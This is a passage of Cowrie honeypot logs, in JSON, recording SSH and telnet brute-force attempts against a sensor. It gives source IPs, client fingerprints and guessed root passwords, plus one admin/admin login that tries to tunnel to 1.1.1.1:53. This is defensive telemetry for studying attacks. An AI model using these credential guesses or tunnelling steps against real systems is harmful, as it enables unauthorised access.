2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:50.708938Z","src_ip":"79.117.24.180","session":"65a2ae8ac6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redwings","message":"login attempt [root/redwings] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:51.165004Z","src_ip":"79.117.24.180","session":"65a2ae8ac6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:52.273909Z","src_ip":"79.117.24.180","session":"65a2ae8ac6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00812911987305,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:59.098062Z","src_ip":"152.42.224.71","session":"b4f9705f0b85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.69637870788574,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:59.218772Z","src_ip":"152.42.224.71","session":"0fa34b7f0179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":60860,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d71eda5b06","protocol":"ssh","message":"New connection: 43.156.63.254:60860 (10.17.0.5:22) [session: 26d71eda5b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:01.783036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:01.788058Z","src_ip":"43.156.63.254","session":"26d71eda5b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:02.036567Z","src_ip":"43.156.63.254","session":"26d71eda5b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www-user","message":"login attempt [root/www-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:03.048766Z","src_ip":"43.156.63.254","session":"26d71eda5b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:04.297806Z","src_ip":"43.156.63.254","session":"26d71eda5b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.211878061294556,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:06.525755Z","src_ip":"152.42.224.71","session":"f2b241ef972f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59744,"dst_ip":"159.203.135.109","dst_port":22,"session":"4479da36709c","protocol":"ssh","message":"New connection: 51.250.105.222:59744 (159.203.135.109:22) [session: 4479da36709c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:09.134915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:09.140028Z","src_ip":"51.250.105.222","session":"4479da36709c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:09.266783Z","src_ip":"51.250.105.222","session":"4479da36709c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krasotka","message":"login attempt [root/krasotka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:09.644664Z","src_ip":"51.250.105.222","session":"4479da36709c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":57290,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecc92dea32d5","protocol":"ssh","message":"New connection: 171.244.37.103:57290 (10.17.0.5:22) [session: ecc92dea32d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:10.028788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:10.033930Z","src_ip":"171.244.37.103","session":"ecc92dea32d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:10.285655Z","src_ip":"171.244.37.103","session":"ecc92dea32d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:10.775166Z","src_ip":"51.250.105.222","session":"4479da36709c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123a","message":"login attempt [root/123123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:11.324251Z","src_ip":"171.244.37.103","session":"ecc92dea32d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:12.580772Z","src_ip":"171.244.37.103","session":"ecc92dea32d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":39738,"dst_ip":"10.17.0.5","dst_port":22,"session":"f527fac8752f","protocol":"ssh","message":"New connection: 43.134.142.250:39738 (10.17.0.5:22) [session: f527fac8752f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:13.114504Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59841,"dst_ip":"10.17.0.5","dst_port":22,"session":"6390fab03dfc","protocol":"ssh","message":"New connection: 152.42.212.128:59841 (10.17.0.5:22) [session: 6390fab03dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:13.119117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:13.124754Z","src_ip":"43.134.142.250","session":"f527fac8752f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:13.128261Z","src_ip":"152.42.212.128","session":"6390fab03dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:13.135221Z","src_ip":"152.42.212.128","session":"6390fab03dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:13.362843Z","src_ip":"43.134.142.250","session":"f527fac8752f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"doctor","message":"login attempt [root/doctor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:14.346372Z","src_ip":"43.134.142.250","session":"f527fac8752f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.10969114303589,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:14.638355Z","src_ip":"152.42.224.71","session":"c7d16c345e8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:15.587240Z","src_ip":"43.134.142.250","session":"f527fac8752f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":58388,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bdbcafa34c6","protocol":"ssh","message":"New connection: 43.134.32.136:58388 (159.203.135.109:22) [session: 7bdbcafa34c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:21.486604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:21.491118Z","src_ip":"43.134.32.136","session":"7bdbcafa34c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:21.736712Z","src_ip":"43.134.32.136","session":"7bdbcafa34c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.367653369903564,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:22.450180Z","src_ip":"152.42.224.71","session":"7d4c11679917","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"marko","password":"marko123","message":"login attempt [marko/marko123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:22.746589Z","src_ip":"43.134.32.136","session":"7bdbcafa34c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:23.999739Z","src_ip":"43.134.32.136","session":"7bdbcafa34c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59288,"dst_ip":"10.17.0.5","dst_port":23,"session":"036a85bd3105","protocol":"telnet","message":"New connection: 152.42.224.71:59288 (10.17.0.5:23) [session: 036a85bd3105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:25.714210Z"}
{"eventid":"cowrie.session.closed","duration":115.37508296966553,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:25.811532Z","src_ip":"152.42.224.71","session":"60b66113352a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46312,"dst_ip":"10.17.0.5","dst_port":23,"session":"944dbbc46954","protocol":"telnet","message":"New connection: 152.42.224.71:46312 (10.17.0.5:23) [session: 944dbbc46954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:28.532077Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46316,"dst_ip":"10.17.0.5","dst_port":23,"session":"d718bcafab76","protocol":"telnet","message":"New connection: 152.42.224.71:46316 (10.17.0.5:23) [session: d718bcafab76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:30.874476Z"}
{"eventid":"cowrie.session.closed","duration":55.80734586715698,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:31.989705Z","src_ip":"152.42.224.71","session":"8ccfd9331d18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41026,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c5f3e86eb9","protocol":"telnet","message":"New connection: 152.42.224.71:41026 (10.17.0.5:23) [session: 22c5f3e86eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:37.112769Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41042,"dst_ip":"10.17.0.5","dst_port":23,"session":"77178cb50590","protocol":"telnet","message":"New connection: 152.42.224.71:41042 (10.17.0.5:23) [session: 77178cb50590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:39.543772Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60280,"dst_ip":"10.17.0.5","dst_port":23,"session":"e906531e2425","protocol":"telnet","message":"New connection: 152.42.224.71:60280 (10.17.0.5:23) [session: e906531e2425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:47.423337Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60288,"dst_ip":"10.17.0.5","dst_port":23,"session":"9452ebb8dd32","protocol":"telnet","message":"New connection: 152.42.224.71:60288 (10.17.0.5:23) [session: 9452ebb8dd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:54.381867Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7104,"dst_ip":"10.17.0.5","dst_port":22,"session":"63239a50af8b","protocol":"ssh","message":"New connection: 87.251.64.176:7104 (10.17.0.5:22) [session: 63239a50af8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:56.147251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:56.151537Z","src_ip":"87.251.64.176","session":"63239a50af8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:56.247925Z","src_ip":"87.251.64.176","session":"63239a50af8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:56.536732Z","src_ip":"87.251.64.176","session":"63239a50af8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:56.634889Z","session":"63239a50af8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:56.732241Z","src_ip":"87.251.64.176","session":"63239a50af8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:46:56.830787Z","src_ip":"87.251.64.176","session":"63239a50af8b","protocol":"ssh"}
